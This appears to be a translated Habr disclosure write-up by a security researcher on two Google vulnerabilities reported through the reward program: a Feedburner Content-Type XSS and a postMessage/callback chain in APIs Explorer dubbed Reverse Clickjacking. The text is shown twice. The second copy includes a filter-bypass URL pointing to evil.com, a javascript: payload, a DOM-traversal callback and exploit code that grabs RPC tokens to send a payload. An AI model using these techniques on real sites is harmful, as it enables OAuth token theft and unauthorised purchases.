Two stories about vulnerabilities in Google services
Disclaimer: All research activities described in the article were carried out as part of the Vulnerability Reward Program.
The vulnerability was in a service called Feedburner. First, I created a feed and tried to embed the code into it. But the page did not appear embedded data - only harmless links. After several unsuccessful attempts, I found many posts on the PodMedic page. PodMedic scans every link in the feed. If a problem was discovered when creating an attachment, PodMedic gives the reason. The messages said that the links are incorrect: the server is giving the wrong Content Type.
')
Hm Good. I bet that the Content Type on this page is not filtered. Simple server script:
And we got what we wanted:
The vulnerability in Feedburner did not deliver - there was nothing remarkable about it. Therefore, I immediately continued the search. My attention was attracted by the APIs Explorer service on developers.google.com. It is a tool that helps you interactively explore various Google programming interfaces. With it, you can view the API and its versions, the available methods for each API, the supported parameters with accompanying documentation, and much more. In fact, I was interested in a cross-domain interaction system based on postMessage. The link to the researched Google API is set as follows:
The Base parameter is filtered by some regular expressions (in fact, it is poorly filtered), which are easily circumvented using the character% 23:
As a result, an iframe is created with the src = evil.com parameter, waiting for a message from it. Each message must contain two tokens. The first token is contained in the window.name of the given iframe, the second is passed to location.hash. I looked through which messages are being sent from webapis-discovery.appspot.com/_ah/api , and wrote a page to send the same messages with valid tokens. The page worked fine, and I tried to transfer some HTML data for implementation. Unsuccessfully. I could change the text, the location of the images, but this is not enough for XSS. It was also possible to change the link to the documentation. I managed to change it to javascript: alert (document.domain) :
But this was not enough for me. I did not like the fact that the operation requires action from the user. Users never do what I want - in this case they will not click on the link :) Therefore, I used the page on developers.google.com with the Callback function (now almost all developers consider it safe). I added a redirect to this page with a callback like parent.links [0] .click to my exploit after the link to the documentation was created using postMessage. (The characters [] were filtered. In fact, the Callback was like this:
We try:
Hooray! Works fine and without user interaction. So, the exploit looked something like this:
And of course, I made a cool screenshot:
I liked this method of operation. I tried to use it in other services, and I managed to steal the user's OAuth token, buy any application on Google Play on his behalf using user billing information, and the purchased application was automatically installed on the user's device.
The guys from the Google Security Team also liked this technique, and they described it on OWASP AppSec Eu, calling it Reverse Clickjacking.
Author : Pavel Toporkov, Positive Research
History 1. On the small Content Type that could
The vulnerability was in a service called Feedburner. First, I created a feed and tried to embed the code into it. But the page did not appear embedded data - only harmless links. After several unsuccessful attempts, I found many posts on the PodMedic page. PodMedic scans every link in the feed. If a problem was discovered when creating an attachment, PodMedic gives the reason. The messages said that the links are incorrect: the server is giving the wrong Content Type.
')
Hm Good. I bet that the Content Type on this page is not filtered. Simple server script:
<?php header('Content-Type: text/ 
; charset=UTF-8'); ?>And we got what we wanted:
Story 2. About a small callback that could
The vulnerability in Feedburner did not deliver - there was nothing remarkable about it. Therefore, I immediately continued the search. My attention was attracted by the APIs Explorer service on developers.google.com. It is a tool that helps you interactively explore various Google programming interfaces. With it, you can view the API and its versions, the available methods for each API, the supported parameters with accompanying documentation, and much more. In fact, I was interested in a cross-domain interaction system based on postMessage. The link to the researched Google API is set as follows:
developers.google.com/apis-explorer/?base=https://webapis-discovery.appspot.com/_ah/api#p/The Base parameter is filtered by some regular expressions (in fact, it is poorly filtered), which are easily circumvented using the character% 23:
developers.google.com/apis-explorer/?base=https://evil.com%23webapis-discovery.appspot.com/_ah/api#p/admin/reports_v1/As a result, an iframe is created with the src = evil.com parameter, waiting for a message from it. Each message must contain two tokens. The first token is contained in the window.name of the given iframe, the second is passed to location.hash. I looked through which messages are being sent from webapis-discovery.appspot.com/_ah/api , and wrote a page to send the same messages with valid tokens. The page worked fine, and I tried to transfer some HTML data for implementation. Unsuccessfully. I could change the text, the location of the images, but this is not enough for XSS. It was also possible to change the link to the documentation. I managed to change it to javascript: alert (document.domain) :
But this was not enough for me. I did not like the fact that the operation requires action from the user. Users never do what I want - in this case they will not click on the link :) Therefore, I used the page on developers.google.com with the Callback function (now almost all developers consider it safe). I added a redirect to this page with a callback like parent.links [0] .click to my exploit after the link to the documentation was created using postMessage. (The characters [] were filtered. In fact, the Callback was like this:
document.body.lastElementChild.previousSibling.lastElementChild.firstElementChild.firstElementChild.lastElementChild.firstElementChild.firstElementChild.firstElementChild.nextSibling.)We try:
Hooray! Works fine and without user interaction. So, the exploit looked something like this:
token_1 = location.hash.split('rpctoken=')[1];token_2 = window.name;send_payload(data,token_1,token_2);window.setTimeout('document.location=callback_url;',3000); // - -…And of course, I made a cool screenshot:
I liked this method of operation. I tried to use it in other services, and I managed to steal the user's OAuth token, buy any application on Google Play on his behalf using user billing information, and the purchased application was automatically installed on the user's device.
The guys from the Google Security Team also liked this technique, and they described it on OWASP AppSec Eu, calling it Reverse Clickjacking.
Author : Pavel Toporkov, Positive Research
Source: https://habr.com/ru/post/210952/
All Articles